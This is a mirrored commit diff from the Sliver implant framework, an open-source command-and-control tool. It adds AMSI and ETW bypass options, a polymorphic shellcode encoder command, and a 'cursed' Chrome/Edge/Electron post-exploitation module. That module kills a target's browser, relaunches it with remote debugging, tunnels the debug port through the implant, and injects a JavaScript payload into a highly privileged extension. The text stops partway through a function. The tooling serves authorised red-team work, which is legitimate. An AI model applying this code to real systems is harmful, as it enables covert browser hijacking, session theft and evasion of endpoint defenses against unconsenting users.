mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
77
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0c5f8a123b | ||
|
|
583edd7a2f | ||
|
|
e03381994c | ||
|
|
536ac4dd0f | ||
|
|
651941844a | ||
|
|
88a5b3a01c | ||
|
|
4c67157f48 | ||
|
|
d02c421e9e | ||
|
|
157b84ee5b | ||
|
|
b5f25e14ae | ||
|
|
4c9f701e0f | ||
|
|
336068cdf3 | ||
|
|
2b9b4eb5f3 | ||
|
|
e13faf9682 | ||
|
|
044688ace4 | ||
|
|
7e633962ce | ||
|
|
7911450862 | ||
|
|
519ef88866 | ||
|
|
823e22e120 | ||
|
|
94d672619b | ||
|
|
29f5a17339 | ||
|
|
d71c45223f | ||
|
|
2578513ae3 | ||
|
|
552a824e1b | ||
|
|
5a352de056 | ||
|
|
33e5525136 | ||
|
|
756bb7749e | ||
|
|
6233d2fbe7 | ||
|
|
729449b653 | ||
|
|
f1030ebaa4 | ||
|
|
7a962ae120 | ||
|
|
39da957b7c | ||
|
|
c230ce0b2e | ||
|
|
8b44024672 | ||
|
|
f8b17891d1 | ||
|
|
4ffb75fa15 | ||
|
|
f9bc1a7bd3 | ||
|
|
867ac37f1f | ||
|
|
04a7148ab7 | ||
|
|
010025645b | ||
|
|
7a22ed901a | ||
|
|
a29135770f | ||
|
|
8de0eaff13 | ||
|
|
abde731c35 | ||
|
|
1f7bc9b227 | ||
|
|
8617ac9c47 | ||
|
|
8aa8095010 | ||
|
|
b621107965 | ||
|
|
04f0d38bd2 | ||
|
|
8ef7f465a4 | ||
|
|
102ee0b533 | ||
|
|
c3cb978ee6 | ||
|
|
18ddfd2943 | ||
|
|
3b3a335c41 | ||
|
|
b64f00a66e | ||
|
|
6a44f6b435 | ||
|
|
e4db654d62 | ||
|
|
1a1924273b | ||
|
|
c20acb9657 | ||
|
|
3d89716007 | ||
|
|
3351ab0fee | ||
|
|
4c062445ad | ||
|
|
bdb6393842 | ||
|
|
20a4043d7c | ||
|
|
79d720d477 | ||
|
|
2ec234fd8c | ||
|
|
3ab978e754 | ||
|
|
0644a82a2c | ||
|
|
d6c41f1713 | ||
|
|
660af1fe60 | ||
|
|
79f2d48fcd | ||
|
|
166c494894 | ||
|
|
1be70b3053 | ||
|
|
f0405a3beb | ||
|
|
68e9dcc61c | ||
|
|
f75d791d20 | ||
|
|
223500ed83 |
No files matched your search
+1
-2
@@ -1,2 +1 @@
|
||||
* @moloch--
|
||||
* @rkervella
|
||||
* @BishopFox/red-team
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -177,6 +178,11 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
@@ -274,7 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
@@ -320,6 +336,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
+169
-1
@@ -42,6 +42,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -69,6 +70,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
@@ -986,6 +988,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Shellcode Encoders ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ShikataGaNai,
|
||||
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("shellcode", "binary shellcode file path")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save output to local file")
|
||||
|
||||
f.String("a", "arch", "amd64", "architecture of shellcode")
|
||||
f.Int("i", "iterations", 1, "number of iterations")
|
||||
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sgn.ShikataGaNaiCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Exec ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -1032,11 +1061,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1067,6 +1100,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -3263,6 +3299,138 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ Curse Commands ] ------------------------------------------------------------
|
||||
|
||||
cursedCmd := &grumble.Command{
|
||||
Name: consts.Cursed,
|
||||
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a Curse from a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "kill", false, "kill the process after removing the curse")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Int("bind-port", "bind port of the Cursed process to stop")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedConsole,
|
||||
Help: "Start a JavaScript console connected to a debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedConsoleCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedChrome,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedEdge,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ScreenshotStr,
|
||||
Help: "Take a screenshot of a cursed process debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedScreenshotCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,425 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
